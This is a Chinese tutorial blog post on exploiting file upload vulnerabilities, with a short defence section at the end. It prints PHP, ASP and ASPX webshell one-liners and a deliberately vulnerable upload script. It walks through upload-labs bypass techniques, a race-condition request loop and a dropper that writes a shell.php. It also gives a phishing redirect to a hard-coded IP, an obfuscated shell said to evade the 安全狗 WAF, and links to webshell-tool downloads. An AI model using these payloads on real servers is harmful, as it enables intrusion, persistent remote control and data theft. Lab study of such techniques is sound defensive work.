文章目录
-
-
- 文件上传漏洞简历
- 产生原因
- 危害
- 容易出现文件上传漏洞的地方
- 概括
- 环境搭建
- 一句话马
-
- 一句话木马原理
- webshell常用的一句话
- 图片一句话
- 小马与大马的区别
- webshell管理工具
-
- 常用的webshell管理工具
- 中国菜刀
-
- 虚拟终端
- 靶场地址
- 绕过JS验证
-
- Burpsuite剔除响应JS
- 浏览器审计工具剔除JS
- 手工删除JS代码
- 绕过MIME-Type验证
- 绕过黑名单验证
-
- .htaccess
-
- 注意
- 大小写绕过
- 空格绕过
- .号绕过
- 特殊符号绕过
- 路径拼接绕过
- 双写绕过
- 00截断
-
- GET型00截断
- post型00截断
- 图片马
-
- 二次渲染
- 竞争条件
- 解析漏洞
-
- IIS6.0解析漏洞
-
- 目录解析
- 文件解析
- IIS高版本上传
-
- 畸形解析漏洞
- APache解析漏洞
- PHP CGI路径解析
- 利用上传文件钓鱼
- 绕狗一句话
-
- 防火墙与安全狗
- 绕狗一句话原理
- 文件上传漏洞防御
-
- 文件上传的目录设置为不可执行
- 判断类型
- 使用随机数改写文件名和文件路径
- 单独设置文件服务器的域名
- 常用工具
- 参考文献
-
文件上传漏洞简历
文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务端命令的能力。这种攻击方式是最为直接和有效的,有时候几乎没有什么技术门槛
在互联网中,我们经常用到文件上传功能,比如上传一张自定义的图片;分享一段视频或者图片;论坛发帖附带一个附件;在发送邮件时附带附件,等等
产生原因
文件上传功能本身是一个正常业务需求,对于网站来说,很多时候也确实需要用户将文件上传到服务器。所以“文件上传”本身没有问题,但有问题的是文件上传后,服务器怎么处理,解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果
危害
- 上传文件是web脚本语言,服务器的web容器解释并执行了用户上传的脚本,导致代码执行
- 上传文件是flash的策略文件cross domain.xml,黑客用以控制flash在该域下的行为(其他通过类似方式控制策略文件的情况类型)
- 上传文件是病毒,木马文件,黑客用以诱骗用户或者管理员下载执行
- 上传文件是钓鱼图片或为包含了脚本的图片,在某些版本的浏览器中会被作为脚本执行,被用于钓鱼和欺诈
通常我们可以上传一个合法的文本文件,内容包含PHP脚本,再通过“本地文件包含漏洞”执行此脚本。
容易出现文件上传漏洞的地方
- 头像更改
- 文件编辑
- 附件上传
- …
概括
文件上传漏洞一般都是指“上传web脚本能够被服务器解析”的问题,也就是通常所说的webshell的问题,要完成这个攻击,要满足如下几个条件:
- 上传文件能够被web容器解释执行,所以文件上传后所在的目录要是web容器所覆盖到的路径
- 用户能够从web上访问这个文件,如果文件上传了,但用户无法通过web访问,或者无法使得web容器解释这个脚本,那么也不能称之为漏洞
- 用户上传的文件若被安全检查,格式化,图片压缩等功能改变了内容,则也可能导致攻击不成功
环境搭建
为了避免有些同学不能理解文件上传是什么,博主在这里搭建一个简单的文件上传环境,当然家里用矿的也可以在远程服务器进行搭建
这个博主用的是phpstudy2018,当然大家也可以利用 XAMPP 等,进行环境的搭建
我们在phpstudy的根目录下放入我们准备好的PHP文件
index.php是一个上传页面,包含一个文件选择和上传按钮,并调用upload_server.php文件执行上传操作
<!DOCTYPE html>
<html>
<head><title>文件上传</title><meta charset="utf-8">
</head>
<body><center><!-- enctype="mulipart/form-data"属性是指以二进制方式进行数据传输 传输文件需要设置--><form action="upload_server.php" method="post" enctype="multipart/form-data"><input type="hidden" name="max_file_size" value="1048576"><input type="file" name="file"><input type="submit" name="上传"> </form></center>
</body>
</html>
upload_server.php是具体的上传操作,调用move_uploaded_file函数实现上传
<?php header("content-type:text/html;charset=utf-8");//设置时区date_default_timezone_set('PRC');//获取文件名$filename = $_FILES['file']['name'];//获取文件临时路径$temp_name = $_FILES['file']['tmp_name'];//获取大小$size = $_FILES['file']['size'];//获取文件上传码,0代表文件上传成功$error = $_FILES['file']['error'];//判断文件大小是否超过设置的最大上传限制if ($size > 2*1024*1024){
//echo "<script>alert('文件大小超过2M大小');window.history.go(-1);</script>";exit();}//phpinfo函数会以数组的形式返回关于文件路径的信息 //[dirname]:目录路径[basename]:文件名[extension]:文件后缀名[filename]:不包含后缀的文件名$arr = pathinfo($filename);//获取文件的后缀名$ext_suffix = $arr['extension'];//设置允许上传文件的后缀$allow_suffix = array('jpg','gif','jpeg','png','php');//判断上传的文件是否在允许的范围内(后缀)==>白名单判断if(!in_array($ext_suffix, $allow_suffix)){
//window.history.go(-1)表示返回上一页并刷新页面echo "<script>alert('上传的文件类型只能是jpg,gif,jpeg,png');window.history.go(-1);</script>";exit();}//检测存放上传文件的路径是否存在,如果不存在则新建目录if (!file_exists('uploads')){
mkdir('uploads');}//为上传的文件新起一个名字,保证更加安全//$new_filename = date('YmdHis',time()).rand(100,1000).'.'.$ext_suffix;$new_filename = $filename;//将文件从临时路径移动到磁盘if (move_uploaded_file($temp_name, 'uploads/'.$new_filename)){
echo "<script>alert('文件上传成功!');window.history.go(-1);</script>";}else{
echo "<script>alert('文件上传失败,错误码:$error');</script>";}?>
访问该目录就能成功实现文件上传功能
我们随便选择一个文件进行上传
可以看到我们选择的文件上传成功我们可以在本地的uploads文件夹下看到我们上传图片,当然我们也可以浏览器中访问该图片
通过一个简单的PHP文件上传,想必大家对文件上传都有一定的概念了,接下来我们开始讲解文件上传漏洞
上面的源代码参考了阿南大神的文章,推荐大家阅读
一句话马
一句话木马短小精悍,而且功能强大,隐蔽性非常好,在入侵中始终扮演着强大的作用
一句话木马原理
“一句话木马”服务端: 本地存储的脚本木马文件,是我们要用来将恶意代码上传到服务器网站中执行权限。该语句触发后,接收入侵者通过客户端提交的数据,执行并完成相应的操作。服务端的代码内容为:
<?php @eval($_POST[cmd]);?>
$_POST[cmd]
: 获取 POST请求参数中cmd的值eval()
将字符串当做PHP代码去执行
“一句话木马”客户端: 远程服务器上被插入一句话的asp可执行文件。用来向服务端提交控制数据,提交的数据通过服务端构成完整的功能语句并执行,生成我们需要的木马文件
webshell常用的一句话
- asp一句话
<%eval request("heroes")%>
- php一句话木马
<?php @eval($_POST['cmd']);?>
- aspx一句话木马
<%@Page Language="Jscript"%>
<%eval(Request.Item["value"])%>
图片一句话
有些网站在上传文件时,除了会检查文件名后缀,还会通过判断上传文件的文件头来验证文件类型
JPG文件头:
正常情况下,通过判断前10个字节,基本上就能判断出一个文件的真实类型
我们可以在该目录打开cmd,运行dos命令
copy 向日葵.jpg/b+test.php/a text.jpg
其中b表示二进制,a表示ascii编码
图片通过uedit软件打开,然后将代码拖至末尾可以看到我们对应的添加的php代码
当然想要图片在该网站被服务器解析,需要通过文件包含漏洞执行该图片
大家可以参考这位博主的博文,讲的很详细
图片一句话木马简单制作方法_TimeOldman的博客-CSDN博客_图片一句话
小马与大马的区别
小马体积小,容易隐藏,隐蔽性强,最重要在于与图片结合一起上传之后可以利用nginx或者IIS6的解析漏洞来运行,不过功能少,一般只有上传等功能
当我们通过某些操作上传了大马之后,我们可以通过大马来获取目标主机的控制权限、对内网进行扫描、获取内部系统的信息、盗取数据库等等一系列操作
在文章的最后博主将会给大家分享我自己经常用的大马,小马与绕狗一句话,感觉博主提供的不好的同学可以自行在GitHub搜索一些webshell
webshell管理工具
常用的webshell管理工具
- 中国菜刀
- 中国蚁剑
- 冰蝎
- …
链接: 中国菜刀与中国蚁剑
提取码:gisb
中国菜刀
首先我们打开中国菜刀,右键打开添加
- URL地址:就是你上传一句话木马地址
- 链接密码:中国菜刀中链接密码在URL地址后面,一句话内容为
<?php @eval($_POST['cmd']);?>
,那么链接密码就为cmd - 配置:中国菜刀会自动填写,如果有需要的可以自行修改
- 脚本类型:你上传的一句话木马是什么类型的这里就选择什么类型
- 编码选择:根据自己的需要选择,默认我们选择
UTF-8
配置好了,添加即可,我们测试一下可以看到访问成功,这里我们就拿下这个网站,我们可以进行增删改查,来实现一些我们想要实现的操作
如果链接失败的话,你是不能进行正常访问的
进行上传大马,来实现一些我们想要实现的操作
上传成功后,通过浏览器来访问大马文件,由于我们利用的大马不同就不多做介绍了
虚拟终端
我们可以使用中国菜刀的虚拟终端
打开中虚拟终端,可以执行dos命令,我们输入ipconfig查看一下当前的网络信息
当然功能不止这些,大家可以亲自体验一下,大家可以参考数据之差其备份及菜刀利用这篇文章
比中国菜刀优秀的工具有很多,目前比较流行的有中国蚁剑,冰蝎…他们的使用方法都差不多,大家可以去尝试使用一下
靶场地址
为了方便大家学习文件上传漏洞我们将利用upload-labs靶场进行讲解
下载地址:https://github.com/c0ny1/upload-labs/releases
绕过JS验证
绕过JS代码验证有三种种方法
Burpsuite剔除响应JS
对于JS前端验证,直接删除JS代码之后就可以绕过JS验证
打开 Remove all JavaScript他就会自动帮我剔除掉 Java Script
这种方法有缺陷,因为禁用了js代码,如果在实战中,网站的一些正常功能可能无法显示
浏览器审计工具剔除JS
将浏览器js代码禁用掉,右键—检查—调试器—设置—禁用JavaScript,也可以通过快捷键,F12打开浏览器审计工具—F1打开设置
手工删除JS代码
复制网站源代码将他复制打记事本中,文件后缀名更改为html,打开找到JS代码将其删除
如果我们打开,是有上传文件的界面,但是不知道要上传给谁。这时我们返回到最开始,右键—检查—网络—然后上传一个正常的图片。这样我们就可以看到这个文件传给谁了
然后我们在打开刚刚修改过的文件,修改action,这个action是告诉他这个图片提交给谁,因为这个源代码中没有,我们就自己加一个
最后用浏览器打开我们的html文件,上传,php文件
绕过MIME-Type验证
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')) {
$temp_file = $_FILES['upload_file']['tmp_name'];$img_path = UPLOAD_PATH . '/' . $_FILES['upload_file']['name'] if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;} else {
$msg = '上传出错!';}} else {
$msg = '文件类型不正确,请重新上传!';}} else {
$msg = UPLOAD_PATH.'文件夹不存在,请手工创建!';}
}
我们从源码中可以看出来这一关的验证是文件类型验证,也就是验证MIME信息
if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif'))
所以进行抓包,将Content-Type修改为允许上传的类型(image/jpeg、image/png、image/gif)三选一
修改后点击forward,显示我们上传成功
绕过黑名单验证
基于文件后缀名验证方式的分类:
1、基于白名单验证:只针对白名单中有的后缀名,文件才能上传成功。
2、基于黑名单验证:只针对黑名单中没有的后缀名,文件才能上传成功。
查看源代码,我们可以发现是一个黑名单验证
如果黑名单定义不完整的话是可以实现绕过的,用.phtml .phps .php5 .pht进行绕过。这里我们直接上传一个.php5文件
要在apache的httpd.conf中有如下配置代码:AddType application/x-httpd-php .php .phtml .phps .php5 .pht
,如果不配置他是无法解析php5代码的,访问的时候就是一个空白页
打开配置文件—打开httpd.conf,修改代码,保存,重启phpstudy就可以了
.htaccess
htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可 以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录 的访问、禁止目录列表、配置默认文档等功能
我们可以看到禁止上传文件可太多了
这种情况,我们可以尝试上传一个.htaccess
配置文件,将4.png
图片当作php代码进行解析,首先创建一个.htaccess
文件,里面写上代码
<FilesMatch "4.png"> SetHandler application/x-httpd-php
SetHandler application/x-httpd-php
这串代码的意思是如果文件中有一个4.png的文件,他就会被解析为.php,把这个文件上传上去。上传上去之后,我们在把图片用Notepad(记事本)打开,里面写上php代码。再进行上传
注意
.htaccess
文件不能起名字,他就是.htaccess
文件,如果你将他改为4.htaccess
或者其他的什么名字是不可以的,无法解析。在实战中有可能上传上去这个文件会被自动重命名,被重命名了就不可以了。
如果以上操作都弄好了,还是出不来,还是去改phpstudy配置文件,其他选项菜单–打开配置文件—httpd.conf
大小写绕过
Windows系统下,对于文件名中的大小写不敏感
。例如:test.php
和TeSt.PHP
是一样的
Linux系统下,对于文件名中的大小写敏感
。例如:test.php
和 TesT.php
就是不一样的
我们分析代码可以发现,他没有将其转化为小写或大写
$file_ext = strtolower($file_ext); //转换为小写
我们可以直接修改文件名改变大小写来进行上传webshell
空格绕过
Windows系统下,对于文件名中空格会被作为空处理,程序中的检测代码却不能自动删除空格,从而绕过黑名单
针对这一的情况需要使用burp suite阶段HTTP请求之后修改对应的文件名,添加空格
直接看代码,发现没有收尾去空
$file_ext = trim($file_ext); //首尾去空
上传php文件,通过burp suite抓包在后面添加空格,从而做到成功上传webshell
.号绕过
Windows系统下,文件后缀最后一个点会被自动去除
通过源代码我们可以看到黑名单没有过滤掉.
号
$file_name = deldot($file_name);//删除文件名末尾的点
我们就可以用.号来绕过他,从而成功上传webshell
特殊符号绕过
Windows ::$DATA
绕过只能用于Windows,Windows下NTFS文件系统有一个特性,即NTFS文件系统在存储数据流的一个属性DATA时,是请求a.php本身的数据
windows系统下,如果上传的文件名中test.php::$DATA
会在服务器上生成一个test.php的文件,其中内容和所上传文件内容相同,并被解析
通过源代码我们可以看到黑名单没有过滤掉::$DATA
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
我们就可以利用特殊符号来绕过,从而成功上传webshell
路径拼接绕过
在没有对上传的文件进行重命名的情况下,用户可以自定义文件名并在服务器中上传新建,就会造成对应的绕过黑名单
我们可以通过代码看到,我们上传的文件没有经过随机化的重命名,直接保持在服务器上
我们不仅可以在kali下修改文件名,上传1.php. .
文件,也可以在burpsuite下进行修改
双写绕过
代码编写过程中,只对黑名单中的内容进行空替换,因为只替换一次所以造成双写绕过
str_ireplace() 函数替换字符串中的一些字符(不区分大小写)
该函数必须遵循下列规则:
- 如果搜索的字符串是一个数组,那么它将返回一个数组
- 如果搜索的字符串是一个数组,那么它将对数组中的每个元素进行查找和替换
- 如果同时需要对数组进行查找和替换,并且需要执行替换的元素少于查找到的元素的数量,多余元素将用空字符串进行替换
- 如果是对一个数组进行查找,但只对一个字符串进行替换,那么替代字符串将对所有查找到自直起作用。
- 该函数不区分大小写。请使用 str_replace() 函数来执行区分大小写的搜索。
- 该函数是二进制安全的。
$file_name = str_ireplace($deny_ext,"", $file_name);
比如你上传了11.php,那么他就会把你的php过滤掉。文件没有了后缀名,自然也就无法解析了。但是他是一次过滤,也就是说我们写两个php就可以了
00截断
0X00是十六进制表示方法, 是ASCII码为0的字符,在有些函数处理时,会把这个字符当作结束符
系统在对文件名的读取时,如果遇到0X00,就会认为读取已经结束
在PHP5.3之后的版本中完全修复了00阶段,并且00截断受限与magic_quotes_gpc
在练习这个漏洞时PHP版本低于5.3且magic_quotes_gpc
关闭
GET型00截断
get型提交的内容会被自动进行URL解码
注意:一定要关闭GPC,否则无法成功
他会将6.jpg
拼接在../upload/
的后面,因此我们可以在../upload/
的后面加上6.php%00
,形成../upload/6.php%00
,在上传数据的时候图片会拼接在6.php%00的
后面就形成了../upload/6.php.%006.jpg
,当系统在对文件名读取时,如果遇到0X00
就会认为读取已经结束,所以最后上传的文件就是6.php
post型00截断
在POST请求中,%00
不会被自动解码,需要在16进制中进行修改00
我们现在/upload/的后面加上6.php
注意:6.php 后面有个空格
因为空格的16位进制编码为20,我们要找到20将其修改为00即可上传,从而做到POST型00截断
图片马
上面已经教过大家怎么制作图片马,现在在教大家一个方法
在一句话木马前面加入GIF89a
然后将木马保存为图片的格式
列如:webshell.jpg
webshell.gif
这种方法也被称之为文件头欺骗,文件头欺骗可以用来绕过简单的waf
gif89a用来欺骗文件头的作用
GIF89a
<?php phpinfo();?>
我们将我们制作好的图片马上传,当然要想解析出来这个图片,还得需要包含漏洞
<?phpif($_GET){
include($_GET['file']);}else{
echo 'not get args file';}
?>
我们将PHP代码放在网站该目录下,在结合文件包含进行phpinfo输出
二次渲染
二次渲染是由Gif文件或 URL 创建一个新图象。成功则返回一图像标识符/图像资源,失败则返回false,导致图片马的数据丢失,上传图片马失败
按照原来的方法进行上传,我们可以发现还是可以上传的,但是配合包含漏洞却无法解析,这时我们把上传的图片复制下来用Notepad打开,发现我们原来写的php代码没有了,这就是二次渲染把我们里面的php代码删掉了
我们把原图和他修改过的图片进行比较,看看哪个部分没有被修改。将php代码放到没有被更改的部分,配合包含漏洞,就可以了。
使用HxD Hex Editor进行比较
下载地址:https://mh-nexus.de/en/hxd
具体实现需要自己编写Python程序,人工尝试基本是不可能构造出能绕过渲染函数的图片webshell的,知道怎么解就可以了
竞争条件
网站逻辑:
- 网站允许上传任意文件,然后检查上传文件是否包含webshell,如果包含删除该文件
- 网站运行上传任意文件,但是如果不是指定类型,那么使用unlink删除文件
- 在删除之前访问上传的php文件,从而执行上传文件中的php代码
在这里我们让他睡眠10秒,因为我们使用单一的测试他的速度达不到,无法在删除之前进行访问
代码执行逻辑:先移动,后检测,不符合再删除,符合则改名字
先创建一个webshell.php
<?phpfputs(fopen('shell.php','w'),'<?php @eval($_POST["cmd"]) ?>');
?>
我们可以通过自己写的python脚本不断请求
import requests
while True:requests.get("http://192.168.0.108/upload/webshell.php")
运行python脚本,再开始上传webshell,上传到本地的webshell会在本地创建shell.php,系统会检查我们上传的PHP文件,而不会检查在本地创建的shell.php
解析漏洞
IIS6.0毕竟是一个低版本,除了靶场和僵尸站很少能够遇到。真实的渗透中,会遇到很多的问题,比如WAF、高版本过滤、安全狗、被拦截绕过、不解析等等
解析漏洞主要说的是一些特殊文件被iis,apache,nginx在某种情况下解释成脚本文件格式的漏洞
IIS6.0解析漏洞
目录解析
xxx/xxx.asp/xxx.jpg
在网站下建立文件夹的名字为.asp
、.asa
的文件夹,其目录内的任何扩展名的文件都被IIS当作asp文件来解析并执行
iis6.0/webshell.asp/1.jpg
1.jpg会在webshell.asp文件中被当作asp文件来执行。上传文件时,将一句话文件名改为jpg图片形式,来过防火墙
文件解析
前面提到的0x00字符截断文件夹,在IIS和Windows环境下曾经出过类似的漏洞,不过截断字符变成了分号;
当文件名为webshell.asp;.jpg
时,IIS 6会将文件解析为webshell.asp,分号后面的被截断,从而导致脚本被执行
webshell.asp;image.jpg
会被服务器看成是webshell.asp
还有IIS6.0默认的可执行文件除了asp还包含这三种
- webshell.asa
- webshell.cer
- webshell.cdx
我们将文件名改为1.asp;.jpg
,这个时候他的类型还是图像
IIS高版本上传
畸形解析漏洞
畸形解析漏洞影响版本:IIS7、IIS7.5、Nginx<0.8.03
漏洞产生条件是开启Fast-CGI
或php
配置文件中cgi.fix_pathinfo
其漏洞不是IIS本身的问题,而是PHP配置不当造成的问题,根本原因是开启了cgi.fix_pathinfo选项。IIS高版本在搭建php网站的时候,它会开启CGI/FastCGI,并且php配置文件选项默认开启。所以,该畸形解析漏洞不光存在于IIS7、IIS7.5,还有IIS8、IIS10等版本
漏洞利用方法:当我们上传一张名为1.jpg
的图片文件,并且这张图片文件里包含以下代码。
<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd])?>'); ?>
那么它会生成一个叫shell.php的脚本文件,并写入我们的一句话,密码为cmd。而一句话的位置是:上传的图片文件名字/shell.php
。如果图片没有被改名,那么现在我们的一句话文件在1.jpg/shell.php
中。
IIS 6.0 解析漏洞
APache解析漏洞
APache是从右到左开始判断解析,知道遇到一个apache认识的文件类型为止,列如:webshell.php.owf.rar.jpg.rar
因为apache不认识.rar这个文件类型,所以会一直遍历后缀到.php,然后认为这是一个php类型的文件,这些文件类型定义在apache的mime.types文件中
比如 webshell.owf.rar
, .owf
和.rar
这两种后缀是apache 不可识别解析,apache就会把webshell.php.owf.rar
解析成php.
如何判断是不是合法的后缀就是这个漏洞的利用关键,测试时可以尝 试上传一个webshell.php.rar.jpg.png...
(把你知道的常见后 上…)去测试是否是合法后缀
Apache 解析漏洞
感觉博主讲的不到位,大家可以观看2019/Web安全/漏洞挖掘/信息收集/SQLMAP/SSRF/文件上传/逻辑漏洞
PHP CGI路径解析
Nginx只是作为一个代理把请求转发给fastcgi Server,php在后端处理这一切。因为在其他的fastcgi环境下,PHP也存在此问题,只是使用Nginx作为Web Server时,一般使用fastcgi的方式调用脚本解释器
当我们尝试访问http://www.xxx.com/image/test.jpg/cracer.php
时,会将test.jpg当做PHP进行解析,cracer是不存在的文件
PHP的配置文件中有一个关键的选项:cgi.fix_pathinfo
,这个选项默认是开启的:
cgi.fix_pathinfo = 1
Nginx 解析漏洞
详细过程大家可以参考吴翰清老师的白帽子讲web安全
利用上传文件钓鱼
钓鱼网站在传播时,会通过利用XSS,服务器端302跳转等功能,从正常的网站跳转到钓鱼网站
利用文件上传功能,钓鱼者可以先将包含HTML文件(比如:图片)上传到目标网站,然后通过传播这个文件的URL进行钓鱼,则URL中不会出现钓鱼地址,更具有欺骗性
png
<scrip language="javascript">
var c=window.location.tostring();
if (c.indexof("?")!=-1{
var i=c.split("?")(1);
if (i.split("_")[0]==1){
location.href="http://208.43.120.46/images/iteme.asp?id='+1.split("_")[1];
}else{
location.href="http://208.43.120.46/images/iteme.asp?id='+1.split("_")[1];
}
}
</script>
其中,png是伪造的文件头,用于绕过上传时的文件类型检查:接下来就是一段脚本,如果被执行,讲控制浏览器跳向指定的网站
绕狗一句话
防火墙与安全狗
防火墙技术是通过有机结合各类用于安全管理与筛选的软件和硬件设备,帮助计算机网络于其内、外网之间构建一道相对隔绝的保护屏障,以保护用户资料与信息安全性的一种技术。
防火墙技术的功能主要在于及时发现并处理计算机网络运行时可能存在的安全风险、数据传输等问题,其中处理措施包括隔离与保护,同时可对计算机网络安全当中的各项操作实施记录与检测,以确保计算机网络运行的安全性,保障用户资料与信息的完整性,为用户提供更好、更安全的计算机网络使用体验
绕狗一句话原理
绕狗一句话代码:
<?php$a='b';$$a='assert';$b($_POST[cmd]);
?>
这里的$$a=‘assert’;
其实就是$b
,由于没有直接对“KaTeX parse error: Undefined control sequence: \b at position 1: \?b?”进行赋值,所以安全狗不会提示…_POST[cmd])”
在目录里放入两个webshell,一个是普通的一句话,另外一个而是绕狗一句话
我们利用网站安全狗扫描一下这个目录,可以看到一句话被检测到了,而绕狗一句话没有检测到
文件上传漏洞防御
文件上传的目录设置为不可执行
只要web容器无法解析该目录下面的文件,即使攻击者上传了脚本文件,服务器本身也不会受到影响,因此这一点至关重要
判断类型
在判断类型时,可以结合使用MIME Type,后缀检查等方式。在文件类型检查中,强烈推荐白名单的方式,黑名单的方式已经无数次被证明是不可靠的
对于图片的处理可以使用压缩函数或者resize函数,在处理图片的同时破坏图片中可能出现的HTML代码
使用随机数改写文件名和文件路径
文件上传如果要执行代码,则需要用户能够访问到这个文件。在某些环境中,用户能上传,但不能访问。如果应用使用随机数改写文件和路径,将极大的增加攻击的成本
单独设置文件服务器的域名
由于浏览器同源策略的关系,一系列客户端攻击将失效,比如上传crossdomain.xml,上传包含JavaScript的XSS利用等问题将得到解决
常用工具
链接:https://pan.baidu.com/s/1ZJKAtSmn-6E0zQvv_iQs4w
提取码:38uk
参考文献
菜鸟教程PHP环境搭建
PHP、asp、aspx、JSP一句话 - 状元兜里有糖 - 博客园 (cnblogs.com)
upload-labs通过教程
本文章借鉴了各路大神的手笔,博主也是学生难免会有些错误和理解不到位的地方,欢迎讨论与指正!!!